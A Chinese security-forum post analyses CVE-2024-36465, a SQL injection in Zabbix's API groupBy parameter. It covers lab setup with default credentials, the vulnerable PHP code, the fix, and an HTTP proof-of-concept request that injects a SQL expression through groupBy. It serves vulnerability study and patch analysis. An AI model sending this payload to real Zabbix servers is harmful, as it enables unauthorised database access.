问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2024-36465:Zabbix SQL注入漏洞分析
漏洞分析
Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。 一个具有 API 访问权限的低权限(常规)Zabbix 用户可以利用 include/classes/api/CApiService.php 中的 SQL 注入漏洞,通过 groupBy 参数执行任意 SQL 命令。
前言 == > 仅供学习交流,请勿用于非法行为 看到有公众号发了漏洞描述,但没有详情,直接分析一手 漏洞简介 ==== Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。 一个具有 API 访问权限的低权限(常规)Zabbix 用户可以利用 include/classes/api/CApiService.php 中的 SQL 注入漏洞,通过 groupBy 参数执行任意 SQL 命令。 影响版本 ====  7.0.0 <= zabbix <= 7.0.7 7.2.0 <= zabbix <= 7.2.1 环境搭建 ==== 访问<https://cdn.zabbix.com/zabbix/appliances/stable/7.0/7.0.7/>  选择 vmx.tar.gz 这个,解压双击.vmx 文件即可导入 vmware workstation 然后开机即可,访问机器ip 80端口即可看到 zabbix 登录页面,默认账号密码是root/zabbix php 调试环境搭建 ---------- 源码从 <https://cdn.zabbix.com/zabbix/sources/stable/7.0/> 下载 这里和虚拟机一样用 7.0.7 版本的,漏洞修复前的版本方便 diff 源码 后续步骤可参考之前写的一篇文章<https://forum.butian.net/article/639> 里面有两处小错误 - wget 虚拟机里面没内置,可以用 curl 替代 - tar 也没内置,可以用 `yum install -y tar` 安装 需要注意的是改完 php.ini 后需要用 systemctl restart php-fpm 重启一下(因为这个浪费好多时间) 漏洞复现 ==== 这个影响的是 include/classes/api/CApiService.php 这个文件的 applyQueryOutputOptions 方法,而提供 api 服务的各个类都继承了这个CApiService类,因此按道理调用了 `parent::applyQueryOutputOptions()`都是存在 SQL 注入利用可能的。这里选取了我们的老朋友,CUser 类  首先需要用账号密码获取 auth 字段,才能拿到 api 访问权限 ```http POST /api_jsonrpc.php HTTP/1.1 Host: 192.168.182.130 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/json-rpc Content-Length: 106 {"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1} ```  带上获取到的 auth 字段,构造 Poc 如下 ```http POST /api_jsonrpc.php HTTP/1.1 Host: 192.168.182.130 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/json-rpc Content-Length: 183 { "jsonrpc": "2.0", "method": "user.get", "params": { "groupBy": ["roleid, version()", "roleid"], "userids": "1" }, "auth": "019e6c5b253ba57e8158df85bb6aaf0d", "id": 1 } ```  漏洞分析 ==== 这里思路也很简单,直接 diff 源码看看改了什么 从刚刚搭建环境的源码链接中下一个 7.0.8 的 使用 vscode 插件 Compare Folders 进行 diff,可以轻松找到漏洞描述所说的地方  ```php protected function applyQueryOutputOptions(string $table_name, string $table_alias, array $options, array $sql_parts) { $pk = $this->pk($table_name); $pk_composite = strpos($pk, ',') !== false; if (array_key_exists('countOutput', $options) && $options['countOutput'] && !$this->requiresPostSqlFiltering($options)) { $has_joins = count($sql_parts['from']) > 1 || (array_key_exists('left_join', $sql_parts) && $sql_parts['left_join']); if ($pk_composite && $has_joins) { throw new Exception('Joins with composite primary keys are not supported in this API version.'); } $sql_parts['select'] = $has_joins ? ['COUNT(DISTINCT '.$this->fieldId($pk, $table_alias).') AS rowscount'] : ['COUNT(*) AS rowscount']; // Select columns used by group count. if (array_key_exists('groupCount', $options) && $options['groupCount']) { foreach ($sql_parts['group'] as $fields) { $sql_parts['select'][] = $fields; } } elseif (array_key_exists('groupBy', $options) && $options['groupBy']) { foreach ($options['groupBy'] as $field) { $field = $this->fieldId($field, $table_alias); array_unshift($sql_parts['select'], $field); $sql_parts['group'][] = $field; } } } elseif (array_key_exists('groupBy', $options) && $options['groupBy']) { $sql_parts['select'] = []; foreach ($options['groupBy'] as $field) { $field = $this->fieldId($field, $table_alias); array_unshift($sql_parts['select'], $field); $sql_parts['group'][] = $field; } } // custom output elseif (is_array($options['output'])) { $sql_parts['select'] = $pk_composite ? [] : [$this->fieldId($pk, $table_alias)]; foreach ($options['output'] as $field) { if ($this->hasField($field, $table_name)) { $sql_parts['select'][] = $this->fieldId($field, $table_alias); } } $sql_parts['select'] = array_unique($sql_parts['select']); } // extended output elseif ($options['output'] == API_OUTPUT_EXTEND) { // TODO: API_OUTPUT_EXTEND must return ONLY the fields from the base table $sql_parts = $this->addQuerySelect($this->fieldId('*', $table_alias), $sql_parts); } return $sql_parts; } protected function fieldId($fieldName, $tableAlias = null) { $tableAlias = $tableAlias ? $tableAlias : $this->tableAlias(); return $tableAlias.'.'.$fieldName; } ``` $options 就是我们可控的传参,很容易分析出 groupBy 字段可控时,可以控制 `$sql_parts`的 group 而在继承并调用的这个方法的类,如 CUser 类,会将 $sql\_parts 解析为 sql 查询语句进行查询  ```php protected static function createSelectQueryFromParts(array $sqlParts) { $sql_left_join = ''; if (array_key_exists('left_join', $sqlParts)) { $l_table = DB::getSchema($sqlParts['left_table']['table']); foreach ($sqlParts['left_join'] as $left_join) { $sql_left_join .= ' LEFT JOIN '.$left_join['table'].' '.$left_join['alias'].' ON '; $sql_left_join .= array_key_exists('condition', $left_join) ? $left_join['condition'] : $sqlParts['left_table']['alias'].'.'.$l_table['key'].'='. $left_join['alias'].'.'.$left_join['using']; } // Moving a left table to the end. $table_id = $sqlParts['left_table']['table'].' '.$sqlParts['left_table']['alias']; unset($sqlParts['from'][array_search($table_id, $sqlParts['from'])]); $sqlParts['from'][] = $table_id; } $sqlSelect = implode(',', array_unique($sqlParts['select'])); $sqlFrom = implode(',', array_unique($sqlParts['from'])); $sqlWhere = empty($sqlParts['where']) ? '' : ' WHERE '.implode(' AND ', array_unique($sqlParts['where'])); $sqlGroup = empty($sqlParts['group']) ? '' : ' GROUP BY '.implode(',', array_unique($sqlParts['group'])); $sqlOrder = empty($sqlParts['order']) ? '' : ' ORDER BY '.implode(',', array_unique($sqlParts['order'])); return 'SELECT'.self::dbDistinct($sqlParts).' '.$sqlSelect. ' FROM '.$sqlFrom. $sql_left_join. $sqlWhere. $sqlGroup. $sqlOrder; } ``` 可以看到这里直接拼接到 SQL 语句中,而且还有一个细节,正常来说是 group by 后面的语句可控,那还不是那么好注入的,但但但是  这里给可控的 groupBy 字段给复制到了 select 后面那个 column 所在的 part,所以 poc 也很容易构造  修复补丁 ==== 这里修复的也很简单,就是在给 $sql\_parts 赋值前检查这个表里面是否存在这个字段(比如 CUser 这个类的就是寻找 user 表) 而且他检查是否存在也是给整个表的字段查询出来然后用 isset 去判断的,也不存在 SQL 可控,所以就没法在这构造其他非预期的语句了  ```php protected function hasField($fieldName, $tableName = null) { $schema = $this->getTableSchema($tableName); return isset($schema['fields'][$fieldName]); } ``` 结语 == 如有错误,请各位看官大佬多多指点
发表于 2025-04-09 10:45:58
阅读 ( 928 )
分类:
Web应用
2 推荐
收藏
1 条评论
ph0ebus
1秒前
最后那张图我编辑的时候不小心贴错了,应该是这张Orz https://shs3.b.qianxin.com/attack_forum/2025/04/attach-61ab433cdc31055c8a8be15b180b2f951bfe497a.png
请先
登录
后评论
请先
登录
后评论
ph0ebus
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!